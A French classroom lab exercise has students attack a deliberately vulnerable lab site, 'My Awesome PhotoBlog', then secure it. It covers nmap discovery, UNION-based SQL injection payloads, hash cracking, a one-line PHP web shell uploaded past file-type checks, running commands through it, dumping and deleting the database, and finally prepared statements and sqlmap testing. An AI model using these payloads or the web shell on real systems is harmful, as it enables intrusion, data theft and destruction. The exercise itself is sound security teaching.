De l’injection SQL au Webshell
Mise en situation
Vous devez attaquer le site web — nommé “My Awesome PhotoBlog” — de façon à voler des données stockées sur le serveur virtualisé qui l’héberge.
Découverte de la cible
🎯 Travail à faire :
-
Utiliser NMap pour découvrir sur le réseau la VM qui héberge le site web à attaquer. Puis :
-
donner l’IP du serveur hébergeant le site web,
-
donner et expliquer la commande NMap saisie pour la découvrir
-
expliquer comment s’est faite la détermination du serveur dans le résultat du scan NMap
NMap ne parvient pas toujours à scanner les VMs dans Virtual Box avec les options par défaut.
Ce problème a été signalé dans l'issue #1813
sur le GitHub du projet NMap.
la solution de contournement proposée consiste à utiliser la technique de scan “TCP Connect” (→ option
-sT
)
-
-
Utiliser les outils de développement du navigateur web pour donner :
-
le nom du système d’exploitation du serveur
-
le nom et la version du serveur web utilisé pour héberger le site
-
le nom et la version du langage utilisé pour coder le site
Ces informations ne sont pas toujours données mais c’est le cas ici.
Ces informations ne devraient pas être accessibles puisqu’elles peuvent orienter le hacker sur la façon dont il va procéder pour mener son attaque.
-
Identification des vulnérabilités
À présent que vous connaissez l’OS, le nom du serveur web et le langage utilisé pour coder le site web, vous voulez déterminer si une base de données est présente sur le serveur et si le site est protégé conte les injections SQL.
Vous constatez que certaines différentes pages du site sont accessibles depuis une url de type http://<X.Y.Z.T>/cat.php?id=N
. Vous vous dites que le paramètre id peut éventuellement être utilisé dans une requête SQL vers la base de données.
Vous tentez votre chance en forgeant des URLs mal formées de façon à exploiter d’éventuelles failles en utilisant l’injection SQL.
🎯 Travail à faire :
En vous appuyant sur Injection SQL et internet :
-
Déterminer si le site est vulnérable à l’injection SQL
Vous pouvez par exemple insérer un guillemet simple dans l’URL ou modifier une valeur numérique par un contenu équivalent en langage SQL
-
Le cas échéant, tenter de découvrir la structure de la base de données de façon à pouvoir éventuellement extraire des données d’authentification
Pour cela :
-
Trouver un moyen pour afficher des informations à l’écran
Ceci peut être parfois fait en ajoutant le résultat de requêtes construites en aveugle à ceux retournés dans le cadre de l’utilisation normale du site.
Exemplehttp://192.168.5.141/cat.php?id=1 (1) http://192.168.5.141/cat.php?id=1 UNION SELECT 1,2 (2)
1 URL originale 2 URL modifiée qui affichera un des 2 nombres (1 ou 2) quelque part sur la page web retournée si la requête engendrée par l’URL originale retourne des tuples contenant 2 valeurs ou une erreur dans le cas contraire. En ajoutant ou soustrayant, des valeurs dans le SELECT
, on peut déterminer la taille des tuples retournés. -
Une fois ce moyen trouvé, faire en sorte d’afficher, non plus des valeurs sans intérêt, mais des informations sur la base de données : noms des tables, contenu des tables…
Ces informations peuvent être obtenues avec des fonctions internes de MySQL comme
database()
ou depuis la base de données interneinformation_schema
de MySQL qui contient des informations sur les bases de données qu’il gère. -
Extraire les données d’authentification en affichant cette fois-ci le contenu de la table qui les renferme
-
-
S’authentifier en tant qu' “Admin” sur le site web.
Le mot de passe ne doit jamais être stocké en clair dans les bases de données.
Le mot de passe que vous avez récupéré est donc sûrement “hashé”
Pour tenter de le décoder, on peut se rendre sur un site comme md5hashing.net pour essayer différents algorithmes de “hashage” (BASE64, SHA-1, MD5, CRC-32 …)
Le hashage ne peut théoriquement pas être inversé.
Retrouver un mot de passe depuis son hash ne peut se faire qu’en le comparant qu’avec le hash de mots de passes issus par exemple d’une rainbow table (← liste de mots de passe couramment utilisés).
Intrusion à distance
Vous avez désormais trouvé le moyen de vous introduire dans le site.
Vous allez à présent tenter de prendre le contrôle de la machine qui héberge le site.
Depuis l’interface d’administration du site, vous voyez qu’il est possible de téléverser des images.
Vous vous dîtes alors qu’il est peut-être possible de faire passer pour des images du code malveillant — appelé payload — qui vous permettra de prendre le contrôle de la machine à distance à la manière d’un reverse shell
🎯 Travail à faire :
-
Créer localement le fichier PHP suivant :
cmd.php<?php system($_GET['cmd']); ?>
Ce fichier est détecté comme une menace par Microsoft Defender : il le supprime donc.
Pour pouvoir le sauvegarder, il faut l’enregistrer dans un dossier qu’on aura exclu de la surveillance de Microsoft Defender.
Ceci s’effectue depuis le menu
-
Tenter de téléverser ce scipt via le bouton Add a new picture
Est-ce possible ?
-
Contourner cette protection en trouvant une extension de fichier accepté pour le téléversement.
-
Découvrir l’endroit sur le site où sont stockés les fichiers téléversés en inspectant par exemple depuis le navigateur les images déjà présentes
-
À partir de cet instant, vous pouvez exécuter des commandes à distance sur la machine hébergeant le site en les transmettant à votre script PHP malveillant par l’URL
http://192.168.5.141/admin/uploads/<script-malveillant>?cmd=whoami (1) => Affiche : www-data
1 on transmet la commande whoami
au script malveillant. Celle-ci permet d’obtenir le nom sous lequel on exécute les commandesLa commande shell s’exécute sous l’identité du serveur web ("www-data") donc celles réservées à l’utilisateur
root
ne nous seront pas accessibles…mais ça coûte rien d’essayer 😉.
Pillage
Pour illustrer ce qu’il vous est désormais possible de faire, vous allez tenter de récupérer le contenu de la base de données au format SQL
🎯 Travail à faire :
-
Tenter d’tiliser la commande
mysqldump
pour récupérer toutes les directives SQL permettant de recréer la base de données utilisée par le site web à l’identique de l’état dans lequel elle se trouvait au moment de la sauvegarde. -
Tenter de supprimer la base de donnée (→
mysqladmin
) et les images du site web pour le rendre inopérant
Sécurisation du site
On vous demande à présent de corriger le code du site pour le sécuriser en utilisant des requêtes préparées (→ prepared statements).
🎯 Travail à faire :
-
Récupérer le code source du site web
et le “dump” de la base de données
Le code source du site web fourni a été mis à jour par rapport à celui du site original de façon à faire usage de l’extension
mysqli
pour accéder à la base de données.
Le site original utilise en effet l’API MySQL historique
— désormais obsolète — qui ne prend pas en charge les requêtes préparées.
Voir aussi MySQLi : une nouveauté dans le PHP
pour une présentation en français de cette API.
-
Déployer le site web sur une machine virtuelle de type “LAMP” (→ Linux Apache MySQL PHP).
Ceci consiste à :
-
Créer un hôte virtuel sur le serveur Apache pour héberger le site web
-
Créer la base de données
photoblog
sur le serveur MySQL
Au lieu de créer un machine virtuelle “Linux LAMP” de toute pièce, vous pouvez en créer une à partir d’un distribution déjà pré-configurée comme Turnkey LAMP Stack.
Le fichier .iso de cette distribution est disponible sur le NAS de la section et un tutoriel de mise en œuvre est disponible sur A LAMP server in VirtualBox but with minimum download
-
-
Sécuriser le site en :
-
modifiant le code PHP pour utiliser des requêtes préparées
Des fragments de code PHP illustrant la mise en œuvre de requêtes préparées avec l’API
mysqli
(mais aussipdo
) sont disponibles sur la méthode mysqli VS la méthode PDO pour la gestion de bases de données en PHP -
renforçant la configuration des serveurs web (→ Apache + PHP) et de base de données (→ MySQL).
Exemples :
-
Interdire l’interprétation des fichiers non reconnus comme du PHP
-
Mettre en place la règle du moindre privilège sur la base de données
-
…
-
-
Vérification de la sécurisation
Vous allez pour finir vérifier que le site web n’est plus vunérable aux injections SQL en utilisant sqlmap qui est un outil de test de pénétration open source qui automatise le processus de détection et d’exploitation des failles d’injection SQL et de prise de contrôle des serveurs de base de données.
🎯 Travail à faire :
-
Télécharger depuis le NAS l’archive de sqlmap en téléchargeant l’archive disponible sur le NAS :+ (→
\\diskstation\install\sqlmap\sqlmapproject-sqlmap-<version>.zip
-
Désarchiver le fichier dans
C:\bin\sqlmap
-
Lancer un terminal depuis lequel l’interpréteur Python est accessible (→
) -
Tenter de découvrir avec sqlmap le nom des bases de données présentes sur le site :
> python sqlmap.py -u http://<site-photoblog>/cat.php?id=1 --dbs --batch (1)
1 Contrairement au site d’origine cette commande ne doit pas afficher les bases de données du site (→ photoblog
etinformation_schema
) -
Poursuivre l’évaluation de la résistance à l’injection SQL du site en tentant d’afficher le contenu de la base de données
photoblog
(à supposer que le nom de celle-ci soit connue…)> python sqlmap.py –u http://<site-photoblog>/cat.php?id=1 –D photoblog --dump-all --batch (1)
1 Cette commande ne doit pas afficher le contenu des tables de la base de données
🞄 🞄 🞄